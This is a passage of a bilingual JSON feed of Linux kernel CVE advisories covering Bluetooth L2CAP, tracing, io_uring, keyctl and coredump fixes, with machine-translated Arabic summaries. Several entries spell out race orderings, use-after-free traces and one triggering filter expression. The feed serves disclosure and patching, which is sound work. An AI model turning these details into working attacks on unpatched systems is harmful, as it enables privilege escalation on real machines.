BT_BOUND, subsequent connect() ends up with second __l2cap_chan_add. Explicitly document and check the invariant in __l2cap_chan_add with WARN_ON_ONCE. The only callsite where it could be hit is l2cap_chan_connect, so add pre-check there to avoid relying on chan->state. chan->state read/write is not properly guarded currently so there can be other TOCTOUC problems. Add l2cap_lock_chan in l2cap_sock_bind() to guard chan->state write.","ar":"في نواة Linux، تم حل الثغرة التالية: Bluetooth: L2CAP: رفض __l2cap_chan_add إذا كانت القناة تحتوي بالفعل على اتصال. قد يتم ربط l2cap_chan بـ l2cap_conn مرة واحدة على الأكثر. يُفترض هذا في عدة أماكن، مثل عملية تنظيف l2cap_chan_del. يوجد سباق من نوع TOCTOU يتم فيه انتهاك هذا الثابت: [Task 1] [Task 2] l2cap_chan_connect l2cap_sock_bind l2cap_chan_lock lock_sock l2cap_state_change if (sk->sk_state != BT_OPEN) chan->state = BT_CONNECT l2cap_sock_state_change_cb chan->state = BT_BOUND sk->sk_state = BT_BOUND lock_sock <------------------ release_sock sk->sk_state = BT_CONNECT. الدالة l2cap_sock_connect() لا تحقق من sk->sk_state، لذا وبما أن chan->state أصبح الآن BT_BOUND، فإن استدعاء connect() اللاحق ينتهي بـ __l2cap_chan_add ثانٍ. قم توثيق والتحقق من الثابت بوضوح في __l2cap_chan_add باستخدام WARN_ON_ONCE. موقع الاستدعاء الوحيد الذي يمكن الوصول إليه هو l2cap_chan_connect، لذا أضف فحصًا مسبقًا هناك لتجنب الاعتماد على chan->state. قراءة/كتابة chan->state غير محمية بشكل صحيح حاليًا، لذا يمكن أن تكون هناك مشاكل TOCTOUC أخرى. أضف l2cap_lock_chan في l2cap_sock_bind() لحماية كتابة chan->state."},"refs":[["https://git.kernel.org/stable/c/85cc289eb08afa975375f838187369e68b429ee0","ref"],["https://git.kernel.org/stable/c/820579652b24ce277e0097cd65b42bd9b7b8bf07","ref"],["https://git.kernel.org/stable/c/e618d928ec7f88cbeadfa3542adcac40f474e629","ref"],["https://git.kernel.org/stable/c/fabaff1c59ff2cc89cb7e5bd0186a5e15f0c73b2","ref"],["https://git.kernel.org/stable/c/52fe88e4ef87311eee32b45c65603e7c69e75e7d","ref"],["https://git.kernel.org/stable/c/10c705dd706aa93164ba41f2566f15206d6c178e","ref"],["https://git.kernel.org/stable/c/73820561d8cbfd3364a29b8fa77f1707f26029da","ref"],["https://git.kernel.org/stable/c/d3afd7803f9bc2a8c4270199497b60158b2fc647","ref"],["https://git.kernel.org/stable/c/86b55991d3cd690e73c5ef8d20b75ae4905b357a","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"linux-kernel"},{"id":"CVE-2026-99237","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T16:06:42Z","product":"Linux Linux","affected":[["6.16",null]],"title":{"en":"tracing: Hold trace_types_lock when resetting last boot data from readers","ar":"التتبع: الاحتفاظ بـ trace_types_lock عند إعادة تعيين بيانات التمهيد الأخيرة من القراء"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: tracing: Hold trace_types_lock when resetting last boot data from readers update_last_data_if_empty() is called from tracing_open() with O_TRUNC, tracing_read_pipe() and tracing_buffers_read() without trace_types_lock. Two readers can both pass the LAST_BOOT test and free module_delta twice, and a module notifier can update module_delta while it is being freed. Take trace_types_lock in those paths and keep the callers that already hold it on an unlocked variant.","ar":"في نواة لينكس، تم حل الثغرة التالية: التتبع: الاحتفاظ بـ trace_types_lock عند إعادة تعيين بيانات التمهيد الأخيرة من القراء. يتم استدعاء update_last_data_if_empty() من tracing_open() مع O_TRUNC، وtracing_read_pipe() وtracing_buffers_read() بدون trace_types_lock. يمكن لقارئين اجتياز اختبار LAST_BOOT وتحرير module_delta مرتين، ويمكن لمنبه الوحدة النمطية تحديث module_delta أثناء تحريره. خذ trace_types_lock في مسارات العمل تلك واحتفظ بالمصلين الذين يحتفظون به بالفعل في متغير غير مقفل."},"refs":[["https://git.kernel.org/stable/c/92b69f6db640dadc0851762ee2e12db99f083cad","ref"],["https://git.kernel.org/stable/c/d6d991afe775ab7fcf89523a2502b7ca3be56ffd","ref"],["https://git.kernel.org/stable/c/1f06cfe0b60a878619d1d8efe1cd0f515b7dc2aa","ref"],["https://git.kernel.org/stable/c/5a6bd62f09147b49b31fd19d4eba122cb5f941a1","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"linux-kernel"},{"id":"CVE-2026-99238","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T16:06:42Z","product":"Linux Linux","affected":[["6.15",null]],"title":{"en":"tracing: Hold trace_types_lock when updating modules in persistent instances","ar":"التتبع: الاحتفاظ بـ trace_types_lock عند تحديث الوحدات النمطية في المثيلات المستمرة"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: tracing: Hold trace_types_lock when updating modules in persistent instances trace_module_record() walks ftrace_trace_arrays from the module notifier without trace_types_lock. A concurrent rmdir of an instance removes it from the list and frees it under that lock, so a module load or unload can walk into a freed trace_array.","ar":"في نواة لينكس، تم حل الثغرة التالية: التتبع: الاحتفاظ بـ trace_types_lock عند تحديث الوحدات النمطية في المثيلات المستمرة. يقوم trace_module_record() باجتياز ftrace_trace_arrays من منبه الوحدة النمطية بدون trace_types_lock. تؤدي عملية rmdir متزامنة لمثيل إلى إزالته من القائمة وتحريره بموجب هذا القفل، بحيث يمكن لتحميل أو إلغاء تحميل وحدة نمطية الدخول إلى trace_array محررة."},"refs":[["https://git.kernel.org/stable/c/57408eac99b0d8a005796346d317d31f0ca4e07a","ref"],["https://git.kernel.org/stable/c/dab2bd4d67ad5eaa95019a9511f8d379401b5021","ref"],["https://git.kernel.org/stable/c/244c442f54601a24c86ad90572bf36fc3df41c5e","ref"],["https://git.kernel.org/stable/c/66877a312ae3c2c3d849e82e882f642ffd4ec3e2","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"linux-kernel"},{"id":"CVE-2026-99235","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T16:06:41Z","product":"Linux Linux","affected":[["4.17",null]],"title":{"en":"tracing: Save the event file instead of the compatible histogram","ar":"tracing: حفظ ملف الأحداث بدلاً من الرسم البياني المتوافق"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: tracing: Save the event file instead of the compatible histogram create_field_var_hist() creates a histogram on the matched event to supply a field variable, and records it on the target so it can be torn down later: hist_data = find_compatible_hist(target_hist_data, file); ... /* Save the compatible histogram information */ var_hist->hist_data = hist_data; hist_data is not the histogram it creates. It is one that was already there, whose keys the new one copies. The saved pointer has a single user, unregister_field_var_hists(), which runs when the target is removed: file = hist_data->field_var_hists[i]->hist_data->event_file; find_compatible_hist() matches on keys alone, so it can pick one with no variables of its own. check_var_refs() then returns false and the user can remove it while the target still points at it: BUG: KASAN: slab-use-after-free in event_hist_trigger_free+0x2b2/0x320 Read of size 8 at addr ffff8880093b90e0 by task init/1 Freed by task 1: kfree+0x154/0x420 event_hist_trigger_free+0x1d5/0x320 event_hist_trigger_parse+0x35f3/0x69e0 trigger_process_regex+0x1a6/0x250 Save the event file instead. It is all the dereference ever wanted, and it does not go away when the user removes a trigger.","ar":"في نواة Linux، تم حل الثغرة التالية: tracing: حفظ ملف الأحداث بدلاً من الرسم البياني المتوافق. تقوم الدالة create_field_var_hist() بإنشاء رسم بياني على الحدث المتطابق لتوفير متغيّر حقل، وتقوم بتسجيله على الهدف بحيث يمكن إزالته لاحقًا: hist_data = find_compatible_hist(target_hist_data, file); ... /* Save the compatible histogram information */ var_hist->hist_data = hist_data; hist_data ليس الرسم البياني الذي تنشئه. إنه رسم بياني كان موجودًا بالفعل، وتنسخ الرسم البياني الجديد مفاتيحه. المؤشر المحفوظ له مستخدم واحد هو unregister_field_var_hists()، والذي يتم تشغيله عند إزالة الهدف: file = hist_data->field_var_hists[i]->hist_data->event_file; تطابق الدالة find_compatible_hist() المفاتيح وحدها، لذا يمكنها اختيار واحد ليس له متغيّرات خاصة به. ثم تُرجع check_var_refs() القيمة false ويمكن للمستخدم إزالته بينما لا يزال الهدف يشير إليه: BUG: KASAN: slab-use-after-free in event_hist_trigger_free+0x2b2/0x320 Read of size 8 at addr ffff8880093b90e0 by task init/1 Freed by task 1: kfree+0x154/0x420 event_hist_trigger_free+0x1d5/0x320 event_hist_trigger_parse+0x35f3/0x69e0 trigger_process_regex+0x1a6/0x250. احفظ ملف الأحداث بدلاً من ذلك. هذا هو كل ما تحتاجه عملية إلغاء الإشارة (dereference)، ولا يختفي عندما يقوم المستخدم بإزالة مشغل (trigger)."},"refs":[["https://git.kernel.org/stable/c/a6165126b1a1b26342b55be6eb6ee23af8756aba","ref"],["https://git.kernel.org/stable/c/173914501b97236d7ea7dc2af7f30feddd4e1436","ref"],["https://git.kernel.org/stable/c/ac815a379644b2ad5008a009a3516ada31b5dd82","ref"],["https://git.kernel.org/stable/c/8b307d64a60548e4a74cb746f74d7ed4bd49965e","ref"],["https://git.kernel.org/stable/c/7a111ba0d1b74c99bc8f096565dc71945f694254","ref"],["https://git.kernel.org/stable/c/3609ada3c12cecfb0ae5ee82ef4f86c5f18a2dea","ref"],["https://git.kernel.org/stable/c/9631dbccd3c649b567a5aafffea6b00634183997","ref"],["https://git.kernel.org/stable/c/7cafc82e6153f05a221be678cd649d02e06ba909","ref"],["https://git.kernel.org/stable/c/d5c42664fc094899af9aae5300b27fe8fdb658ef","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"linux-kernel"},{"id":"CVE-2026-99236","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T16:06:41Z","product":"Linux Linux","affected":[["4.17",null]],"title":{"en":"tracing: Reject incomplete event filter expressions","ar":"tracing: رفض تعبيرات تصفية الأحداث غير المكتملة"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: tracing: Reject incomplete event filter expressions A non-empty expression normally finishes in predicate_parse()'s inner loop, which resolves the pending logical operators before jumping to finalization. If the input ends after an operator, possibly followed by unary '!' tokens, the outer loop instead falls through with unresolved operator state. For example, \"common_pid == 1 || common_pid == 2 &&\" leaves prog[0].target equal to -1. The second pass then reads prog[-1] before the forward-jump check can reject it. Depending on adjacent slab contents, it can also copy an out-of-bounds word into a branch target that passes the forward-only check. A self-targeted perf tracepoint counting event can reach this path through PERF_EVENT_IOC_SET_FILTER. Reject the outer-loop fallthrough when a predicate has already been parsed. This ensures that non-empty expressions only reach finalization after the inner loop has resolved their operators. Keep the existing no-filter error for input that has no predicates. Add a regression test for trailing logical operators and unary negations.","ar":"في نواة Linux، تم حل الثغرة التالية: tracing: رفض تعبيرات تصفية الأحداث غير المكتملة. ينتهي التعبير غير الفارغ عادةً في الحلقة الداخلية للدالة predicate_parse()، والتي تحل العوامل المنطقية المعلقة قبل الانتقال إلى الإنهاء النهائي. إذا انتهى الإدخال بعد عامل تشغيل، وربما تلاه رموز '!' أحادية، فإن الحلقة الخارجية تنفذ بدلاً من ذلك مع حالة عامل تشغيل غير محلولة. على سبيل المثال، \"common_pid == 1 || common_pid == 2 &&\" يترك prog[0].target مساويًا لـ -1. ثم تقرأ التمريرة الثانية prog[-1] قبل أن يتمكن فحص القفز للأمام من رفضه. اعتمادًا على محتويات لوح الذاكرة (slab) المجاورة، يمكنها أيضًا نسخ كلمة خارج الحدود إلى هدف فرع ينجز فحص التوجيه الأمامي فقط. يمكن لنقطة تتبع الأداء (perf tracepoint) ذاتية الاستهداف التي تعد الأحداث الوصول إلى هذا المسار من خلال PERF_EVENT_IOC_SET_FILTER. ارفض السقوط في الحلقة الخارجية (fallthrough) عندما يكون الشرط قد تم تحليلُه مسبقًا. يضمن هذا أن التعبيرات غير الفارغة تصل فقط إلى الإنهاء بعد أن تحل الحلقة الداخلية عوامل التشغيل الخاصة بها. احتفظ بخخطأ عدم وجود تصفية الحالي للإدخال الذي ليس له شروط. أضف اختبار تراجع لعوامل التشغيل المنطقية اللاحقة وعمليات النفي الأحادية."},"refs":[["https://git.kernel.org/stable/c/4a1a6d35359991c5d47f4bf101cfbe1475c94093","ref"],["https://git.kernel.org/stable/c/2a98f5d4913ec081e08e1075512cb7ec313d9f72","ref"],["https://git.kernel.org/stable/c/15ff3cc7f2beecc3f95d66358f20ad7b057466aa","ref"],["https://git.kernel.org/stable/c/b205ff58e02922ac324f931cf9eb238a3acdb048","ref"],["https://git.kernel.org/stable/c/5a999b5a16530898f0dbe5f8c50fd45ea72e110b","ref"],["https://git.kernel.org/stable/c/1008e9e0b8280d47f1ab5e9c113f666a023a9697","ref"],["https://git.kernel.org/stable/c/64993d970dde2a2da353e9e99595a4fa88ec27d9","ref"],["https://git.kernel.org/stable/c/5bcdf3c18c3471122ee9652b0e2f5cdb718d9a46","ref"],["https://git.kernel.org/stable/c/1fdc4164e488916402badddbb1f51e9380dabb91","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"linux-kernel"},{"id":"CVE-2026-99233","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T16:06:40Z","product":"Linux Linux","affected":[["4.17",null]],"title":{"en":"tracing/histograms: Verify event_call identity when updating synth_event refcount","ar":"tracing/histograms: التحقق من هوية event_call عند تحديث عداد المراجع synth_event"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: tracing/histograms: Verify event_call identity when updating synth_event refcount In event_hist_trigger_parse() and hist_unreg_all(), the histogram registration and unregistration paths look up find_synth_event() using trace_event_name(file->event_call) and adjust se->ref if a match is found. Because find_synth_event() only compares the event basename, registering or removing a histogram on a non-synthetic trace event whose basename matches a synthetic event erroneously modifies the synthetic event's reference count. If a histogram is registered on the non-synthetic event before the synthetic event is created and removed afterwards, se->ref is decremented without a matching increment, allowing the synthetic event to be freed while an active histogram action still holds a pointer to it. Introduce find_synth_event_call() to verify that &se->call matches file->event_call before adjusting se->ref.","ar":"في نواة Linux، تم حل الثغرة التالية: tracing/histograms: التحقق من هوية event_call عند تحديث عداد المراجع synth_event. في الدالتين event_hist_trigger_parse() و hist_unreg_all()، تبحث مسارات تسجيل الرسوم البيانية وإلغاء تسجيلها عن find_synth_event() باستخدام trace_event_name(file->event_call) وتضبط se->ref إذا تم العثور على مطابقة. نظرًا لأن find_synth_event() تقارن فقط الاسم الأساسي للحدث (basename)، فإن تسجيل أو إزالة رسم بياني على حدث تتبع غير اصطناعي يتطابق اسمه الأساسي مع حدث اصطناعي يؤدي إلى تعديل عداد مراجع الحدث الاصطناعي بشكل خاطئ. إذا تم تسجيل رسم بياني على الحدث غير الاصطناعي قبل إنشاء الحدث الاصطناعي وإزالته بعد ذلك، يتم نقص se->ref دون زيادة مطابقة، مما يسمح بتحرير الحدث الاصطناعي بينما لا يزال إجراء الرسم البياني النشط يحتفظ بمؤشر إليه. قم بتقديم find_synth_event_call() للتحقق من أن &se->call يتطابق مع file->event_call قبل ضبط se->ref."},"refs":[["https://git.kernel.org/stable/c/381f543ed35c434d5b707369aa5dcd69ecf440af","ref"],["https://git.kernel.org/stable/c/4472579bd1c83708b6fe623c870cdf728e947205","ref"],["https://git.kernel.org/stable/c/23b4106e8b35823acc79e206c7745f55b9cfd78b","ref"],["https://git.kernel.org/stable/c/06e816bed499fe47f39f12044382cc5d064485fb","ref"],["https://git.kernel.org/stable/c/5597bb8db6855fcb97a67196d227fea359bcd81c","ref"],["https://git.kernel.org/stable/c/cf4e31d5da80fae4c9cdbe7af55b7c3ad213f0e4","ref"],["https://git.kernel.org/stable/c/3403d9bb27ebc3572bd048620746b4414e073bf9","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"linux-kernel"},{"id":"CVE-2026-99231","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T16:06:38Z","product":"Linux Linux","affected":[["6.12.113 – <6.12.115","6.12.115"],["6.18.52 – <6.18.60","6.18.60"]],"title":{"en":"io_uring/waitid: own the request before clearing ->head","ar":"io_uring/waitid: امتلاك الطلب قبل مسح ->head"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: io_uring/waitid: own the request before clearing ->head io_waitid_remove_wq() only takes the wait queue lock if ->head is set. io_waitid_wait() clears ->head first thing, before it tries to become the owner of the request by bumping ->refs. If somebody else owns the request at that point, nothing keeps it from completing the request while the wake up handler is still going to touch it: CPU0 (io_waitid_wait) CPU1 (io_waitid, holds a ref) list_del_init(&wait->entry) smp_store_release(&iw->head, NULL) __do_wait() finds another child io_waitid_remove_wq() // ->head == NULL, no locking io_waitid_finish(), IOU_COMPLETE // request freed and reused atomic_fetch_inc(&iw->refs) The same goes for __io_waitid_cancel() if it claims the request in that window. ->refs is part of the per opcode data of the request, so this increments whatever the next user of the request keeps there. If that happens to be zero, the handler concludes that it owns the request, and queues io_waitid_cb() for it. With the window held open by a delay, and the request reused for a receive that is waiting for data: BUG: KASAN: slab-use-after-free in __wake_up_common+0x1ca/0x1f0 __wake_up_sync_key+0x36/0x50 sock_def_readable+0xf1/0x420 unix_stream_sendmsg+0x60b/0x1110 Allocated by task 87: io_arm_apoll+0x1ed/0x940 Freed by task 87: __io_submit_flush_completions+0x118d/0x1a10 tctx_task_work_run+0x327/0x950 Only clear ->head once the handler owns the request. If it doesn't, the owner finds ->head set and has to wait for the lock, which is held by the caller of the handler. Deleting the already deleted entry again is harmless.","ar":"في نواة Linux، تم حل الثغرة التالية: io_uring/waitid: امتلاك الطلب قبل مسح ->head. تأخذ io_waitid_remove_wq() قفل طابور الانتظار فقط إذا تم تعيين ->head. تقوم io_waitid_wait() بمسح ->head أولاً، قبل أن تحاول أن تصبح مالكة للطلب عن طريق زيادة ->refs. إذا كان شخص آخر يمتلك الطلب في تلك اللحظة، فلا شيء يمنعه من إكمال الطلب بينما لا يزال معالج التنبيه على وشك لمسه: CPU0 (io_waitid_wait) CPU1 (io_waitid, holds a ref) list_del_init(&wait->entry) smp_store_release(&iw->head, NULL) __do_wait() finds another child io_waitid_remove_wq() // ->head == NULL, no locking io_waitid_finish(), IOU_COMPLETE // request freed and reused atomic_fetch_inc(&iw->refs). نفس الشيء ينطبق على __io_waitid_cancel() إذا طالبت بالطلب في تلك النافذة الزمنية. ->refs هو جزء من بيانات كل رمز تشغيل (opcode) للطلب، لذا فهذا يزيد أي شيء يحتفظ به المستخدم التالي للطلب هناك. إذا حدث وكان صفرًا، يستنتج المعالج أنه يمتلك الطلب، ويقوم بإدراج io_waitid_cb() في الطابور من أجله. مع بقاء النافذة مفتوحة بسبب تأخير، وإعادة استخدام الطلب لعملية استقبال تنتظر بيانات: BUG: KASAN: slab-use-after-free in __wake_up_common+0x1ca/0x1f0 __wake_up_sync_key+0x36/0x50 sock_def_readable+0xf1/0x420 unix_stream_sendmsg+0x60b/0x1110 Allocated by task 87: io_arm_apoll+0x1ed/0x940 Freed by task 87: __io_submit_flush_completions+0x118d/0x1a10 tctx_task_work_run+0x327/0x950. قم فقط بمسح ->head بمجرد أن يمتلك المعالج الطلب. وإذا لم يفعل، يجد المالك ->head معينًا ويجب عليه انتظار القفل، الذي يحتفظ به المتصل بمعالج الأحداث. حذف العنصر المحذوف بالفعل مرة أخرى يعد أمرًا غير ضار."},"refs":[["https://git.kernel.org/stable/c/bf01da1a9cca4a54e5c30b8344e52c26afb87be7","ref"],["https://git.kernel.org/stable/c/8381a912c65b8de16e8a848225c7c5a56b6ea834","ref"],["https://git.kernel.org/stable/c/c10ad2813e15186fb51b37a4d17fafddc99e89a5","ref"],["https://git.kernel.org/stable/c/c254eec4364b9f4b4cbdce43be3fb4df5a651a70","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"linux-kernel"},{"id":"CVE-2026-99227","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T16:06:36Z","product":"Linux Linux","affected":[["6.7",null]],"title":{"en":"io_uring/waitid: prevent cancel reference wrap","ar":"io_uring/waitid: منع التفاف مرجع إلغاء الطلب"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: io_uring/waitid: prevent cancel reference wrap io_waitid packs the cancellation state into bit 31 of ->refs and uses bits 30:0 as a 31-bit reference counter: #define IO_WAITID_CANCEL_FLAG BIT(31) #define IO_WAITID_REF_MASK GENMASK(30, 0) __io_waitid_cancel() marks a request canceled, then increments the low bits of ->refs to claim completion ownership. When another path owns the request, the increment remains even though cancellation returns false. The request remains discoverable by cancellation, so repeated failed attempts can wrap the 31-bit reference field to zero. A later cancellation can claim ownership and complete the request a second time. Use atomic_fetch_or() when setting the cancel flag and inspect the old flag value. The first cancel attempt continues to the existing ownership increment, preserving its wake and issuer handoff semantics. Later attempts see the cancel flag and return without incrementing the reference field. This makes repeated failed cancellation attempts idempotent while leaving the first-cancel state transitions unchanged.","ar":"في نواة Linux، تم حل الثغرة التالية: io_uring/waitid: منع التفاف مرجع إلغاء الطلب. تقوم io_waitid بتعبئة حالة الإلغاء في البت 31 من ->refs وتستخددم البتات 30:0 كعداد مراجع مكون من 31 بت: #define IO_WAITID_CANCEL_FLAG BIT(31) #define IO_WAITID_REF_MASK GENMASK(30, 0). تقوم __io_waitid_cancel() بتحديد الطلب كملغى، ثم تزيد البتات السفلى من ->refs للمطالبة بملكية الإكمال. عندما يمتلك مسار آخر الطلب، تظل الزيادة على الرغم من إرجاع الإلغاء القيمة false. يظل الطلب قابلاً للاكتشاف بواسطة الإلغاء، لذا فإن المحاولات الفاشلة المتكررة يمكن أن تلف حقل المراجع المكون من 31 بت إلى الصفر. يمكن لإلغاء لاحق المطالبة بالملكية وإكمال الطلب للمرة الثانية. استخدم atomic_fetch_or() عند تعيين علامة الإلغاء وفحص قيمة العلامة القديمة. تستمر محاولة الإلغاء الأولى إلى زيادة الملكية الحالية، مع الحفاظ على دلالات التنبيه وتسليم الجهة المصدرة. ترى المحاولات اللاحقة علامة الإلغاء وتعود دون زيادة حقل المراجع. هذا يجعل محاولات الإلغاء الفاشلة المتكررة متساوية التكافؤ (idempotent) مع إبقاء انتقالات حالة الإلغاء الأولى دون تغيير."},"refs":[["https://git.kernel.org/stable/c/20b67288574c7c3df6b8ea7ed3b7af90a868006f","ref"],["https://git.kernel.org/stable/c/5bfeee1774791602a0d53eb717f00f172127a017","ref"],["https://git.kernel.org/stable/c/857aa2012b91cad6fdef54a4b6c632d9d0b6e64f","ref"],["https://git.kernel.org/stable/c/22fb4a4518e305164c7f203608287564de292f34","ref"],["https://git.kernel.org/stable/c/98787d3fa4e99564d2b2bc21255b21f670c450d0","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"linux-kernel"},{"id":"CVE-2026-99224","cvss":7,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T16:06:34Z","product":"Linux Linux","affected":[["3.18",null]],"title":{"en":"keys: Protect the type name while describing a key","ar":"keys: حماية اسم النوع أثناء وصف مفتاح"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: keys: Protect the type name while describing a key keyctl_describe_key() must keep the key type's name alive until kasprintf() has consumed it. The retained key reference keeps the key and its description alive, but does not pin the module providing its type. The name is passed to kasprintf() without holding key->sem. kvasprintf() uses the saved name pointer in two formatting passes, with a GFP_KERNEL allocation between them. With AF_RXRPC=m, a task that passes View permission before type retirement can overlap a privileged module unload in this order: 1. KEYCTL_DESCRIBE looks up the key, saves key->type->name in the kasprintf() arguments and completes the first formatting pass. 2. While the formatter is delayed before its second pass, af_rxrpc_exit() calls unregister_key_type(), which removes the type from the registry and waits for key_gc_keytype(). 3. The collector takes key->sem for writing, retypes the retained key to key_type_dead and completes retirement. Unregistration and module exit return, allowing free_module() to release the type and name. 4. The formatter resumes its second pass and reads the saved name from released module storage, which can fault in string(). Hold key->sem for reading across kasprintf(). The collector then cannot retype the key or complete retirement until both formatting passes have finished. If retirement wins the lock first, formatting uses the core key_type_dead name instead. Release the semaphore immediately after kasprintf(), including on allocation failure, before copying to userspace. Oops report as below: BUG: unable to handle page fault for address: fffffbfff8054794 #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page RIP: 0010:string+0x23f/0x470 Call Trace: vsnprintf+0x330/0x1110","ar":"في نواة Linux، تم حل الثغرة التالية: keys: حماية اسم النوع أثناء وصف مفتاح. يجب أن تبقي الدالة keyctl_describe_key() اسم نوع المفتاح حيًا حتى تستهلكه kasprintf(). مرجع المفتاح المحتفظ به يبقي المفتاح ووصفه حيّين، لكنه لا يثبت الوحدة النمطية (module) التي توفر نوعه. يتم تمرير الاسم إلى kasprintf() دون الاحتفاظ بـ key->sem. تستخدم kvasprintf() مؤشر الاسم المحفوظ في تمريرتي تنسيق، مع تخصيص ذاكرة GFP_KERNEL بينهما. مع AF_RXRPC=m، يمكن لمهمة تمرر إذن العرض (View permission) قبل تقاعد النوع أن تتداخل مع عملية تفريغ وحدة نمطية مميزة بهذا الترتيب: 1. تبحث KEYCTL_DESCRIBE عن المفتاح، وتحفظ key->type->name في وسائط kasprintf() وتكمل تمريرة التنسيق الأولى. 2. بينما يتأخر المنسق قبل تمريرته الثانية، تستدعي af_rxrpc_exit() الدالة unregister_key_type()، التي تزيل النوع من السجل وتنتظر key_gc_keytype(). 3. يأخذ الجامع key->sem للكتابة، ويعيد كتابة المفتاح المحتفظ به إلى key_type_dead ويكمل التقاعد. تعود عملية إلغاء التسجيل وخروج الوحدة النمطية، مما يسمح لـ free_module() بتحرير النوع والاسم. 4. يستأنف المنسق تمريرته الثانية ويقرأ الاسم المحفوظ من تخزين الوحدة النمطية المحررة، مما قد يتسبب في حدوث خطأ في string(). احتفظ بـ key->sem للقراءة عبر kasprintf(). وبالتالي لا يمكن للجامع إعادة كتابة المفتاح أو إكمال التقاعد حتى تنتهي تمريرتا التنسيق. إذا فاز التقاعد بالقفل أولاً، يستخدم التنسيق اسم key_type_dead الأساسي بدلاً من ذلك. حرر الإشارة فورًا بعد kasprintf()، بما في ذلك عند فشل التخصيص، قبل النسخ إلى مساحة المستخدم. تقرير الخطأ (Oops) كما يلي: BUG: unable to handle page fault for address: fffffbfff8054794 #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page RIP: 0010:string+0x23f/0x470 Call Trace: vsnprintf+0x330/0x1110"},"refs":[["https://git.kernel.org/stable/c/19c4de819e52b7f606468fbfe4fcef4e812e2777","ref"],["https://git.kernel.org/stable/c/a49e6c9a1a5b3457c946a8efb616ce13b4ca8194","ref"],["https://git.kernel.org/stable/c/916667df7695366f23cfaf365b5840b228cc4b2e","ref"],["https://git.kernel.org/stable/c/dddd3a1ab7d12ee163477918ff6eb943361db4fe","ref"],["https://git.kernel.org/stable/c/3c3cfd9e262afc9558c38f8cec57f09d10988546","ref"],["https://git.kernel.org/stable/c/6b613747f7ea309ada5b8d05b55398c338f7a968","ref"],["https://git.kernel.org/stable/c/dea367df18e3a4faac393e3a4e818ee03af89b19","ref"],["https://git.kernel.org/stable/c/0461bc8f91116aae4a020e15f4e1c1fd535ab35e","ref"],["https://git.kernel.org/stable/c/fced7238b7e80cf8aa688d5af976e4aa6e33c329","ref"]],"epss":0.0011,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"linux-kernel"},{"id":"CVE-2026-99218","cvss":7,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T16:06:31Z","product":"Linux Linux","affected":[["2.6.27",null]],"title":{"en":"coredump: hold RCU while releasing parked threads","ar":"coredump: الاحتفاظ بـ RCU أثناء تحرير الخيوط المتوقفة"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: coredump: hold RCU while releasing parked threads coredump_finish() releases the parked threads by clearing ->task in their core_thread entry and calling wake_up_process() on each of them. It does that without holding a reference on the task and without being inside rcu. But calling wake_up_process(task) without rcu here isn't safe. A parked thread doesn't need that wakeup to leave. A spurious wakeup or a preemption after the store is enough for the task to go away. So if the coredump client is preempted between the store and wake_up_process() the thread can exit and be freed in the meantime and try_to_wake_up() takes pi_lock in freed memory. Hold rcu across the loop.","ar":"في نواة Linux، تم حل الثغرة التالية: coredump: الاحتفاظ بـ RCU 